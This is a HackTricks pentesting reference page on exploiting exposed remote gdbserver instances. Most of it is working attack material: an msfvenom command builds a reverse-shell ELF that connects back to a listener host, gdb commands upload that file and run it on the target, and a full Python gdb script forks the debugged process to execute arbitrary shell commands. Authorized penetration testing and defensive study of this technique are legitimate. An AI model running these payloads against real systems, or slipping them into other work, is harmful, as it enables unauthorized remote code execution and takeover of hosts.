> For the complete documentation index, see [llms.txt](https://angelica.gitbook.io/hacktricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://angelica.gitbook.io/hacktricks/network-services-pentesting/pentesting-remote-gdbserver.md).

# Pentesting Remote GdbServer

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## **Basic Information**

**gdbserver** is a tool that enables the debugging of programs remotely. It runs alongside the program that needs debugging on the same system, known as the "target." This setup allows the **GNU Debugger** to connect from a different machine, the "host," where the source code and a binary copy of the debugged program are stored. The connection between **gdbserver** and the debugger can be made over TCP or a serial line, allowing for versatile debugging setups.

You can make a **gdbserver listen in any port** and at the moment **nmap is not capable of recognising the service**.

## Exploitation

### Upload and Execute

You can easily create an **elf backdoor with msfvenom**, upload it and execute is:

```bash
# Trick shared by @B1n4rySh4d0w
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf

chmod +x binary.elf

gdb binary.elf

# Set remote debuger target
target extended-remote 10.10.10.11:1337

# Upload elf file
remote put binary.elf binary.elf

# Set remote executable file
set remote exec-file /home/user/binary.elf

# Execute reverse shell executable
run

# You should get your reverse-shell
```

### Execute arbitrary commands

There is another way to **make the debugger execute arbitrary commands via a** [**python custom script taken from here**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target).

```bash
# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
target extended-remote 192.168.1.4:2345

# Load our custom gdb command `rcmd`.
source ./remote-cmd.py

# Change to a trusty binary and run it to load it
set remote exec-file /bin/bash
r

# Run until a point where libc has been loaded on the remote process, e.g. start of main().
tb main
r

# Run the remote command, e.g. `ls`.
rcmd ls
```

First of all **create locally this script**:

{% code title="remote-cmd.py" %}

```python
#!/usr/bin/env python3

import gdb
import re
import traceback
import uuid


class RemoteCmd(gdb.Command):
    def __init__(self):
        self.addresses = {}

        self.tmp_file = f'/tmp/{uuid.uuid4().hex}'
        gdb.write(f"Using tmp output file: {self.tmp_file}.\n")

        gdb.execute("set detach-on-fork off")
        gdb.execute("set follow-fork-mode parent")

        gdb.execute("set max-value-size unlimited")
        gdb.execute("set pagination off")
        gdb.execute("set print elements 0")
        gdb.execute("set print repeats 0")

        super(RemoteCmd, self).__init__("rcmd", gdb.COMMAND_USER)

    def preload(self):
        for symbol in [
            "close",
            "execl",
            "fork",
            "free",
            "lseek",
            "malloc",
            "open",
            "read",
        ]:
            self.load(symbol)

    def load(self, symbol):
        if symbol not in self.addresses:
            address_string = gdb.execute(f"info address {symbol}", to_string=True)
            match = re.match(
                f'Symbol "{symbol}" is at ([0-9a-fx]+) .*', address_string, re.IGNORECASE
            )
            if match and len(match.groups()) > 0:
                self.addresses[symbol] = match.groups()[0]
            else:
                raise RuntimeError(f'Could not retrieve address for symbol "{symbol}".')

        return self.addresses[symbol]

    def output(self):
        # From `fcntl-linux.h`
        O_RDONLY = 0
        gdb.execute(
            f'set $fd = (int){self.load("open")}("{self.tmp_file}", {O_RDONLY})'
        )

        # From `stdio.h`
        SEEK_SET = 0
        SEEK_END = 2
        gdb.execute(f'set $len = (int){self.load("lseek")}($fd, 0, {SEEK_END})')
        gdb.execute(f'call (int){self.load("lseek")}($fd, 0, {SEEK_SET})')
        if int(gdb.convenience_variable("len")) <= 0:
            gdb.write("No output was captured.")
            return

        gdb.execute(f'set $mem = (void*){self.load("malloc")}($len)')
        gdb.execute(f'call (int){self.load("read")}($fd, $mem, $len)')
        gdb.execute('printf "%s\\n", (char*) $mem')

        gdb.execute(f'call (int){self.load("close")}($fd)')
        gdb.execute(f'call (int){self.load("free")}($mem)')

    def invoke(self, arg, from_tty):
        try:
            self.preload()

            is_auto_solib_add = gdb.parameter("auto-solib-add")
            gdb.execute("set auto-solib-add off")

            parent_inferior = gdb.selected_inferior()
            gdb.execute(f'set $child_pid = (int){self.load("fork")}()')
            child_pid = gdb.convenience_variable("child_pid")
            child_inferior = list(
                filter(lambda x: x.pid == child_pid, gdb.inferiors())
            )[0]
            gdb.execute(f"inferior {child_inferior.num}")

            try:
                gdb.execute(
                    f'call (int){self.load("execl")}("/bin/sh", "sh", "-c", "exec {arg} >{self.tmp_file} 2>&1", (char*)0)'
                )
            except gdb.error as e:
                if (
                    "The program being debugged exited while in a function called from GDB"
                    in str(e)
                ):
                    pass
                else:
                    raise e
            finally:
                gdb.execute(f"inferior {parent_inferior.num}")
                gdb.execute(f"remove-inferiors {child_inferior.num}")

            self.output()
        except Exception as e:
            gdb.write("".join(traceback.TracebackException.from_exception(e).format()))
            raise e
        finally:
            gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}')


RemoteCmd()
```

{% endcode %}

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**Get a hacker's perspective on your web apps, network, and cloud**

**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.

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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}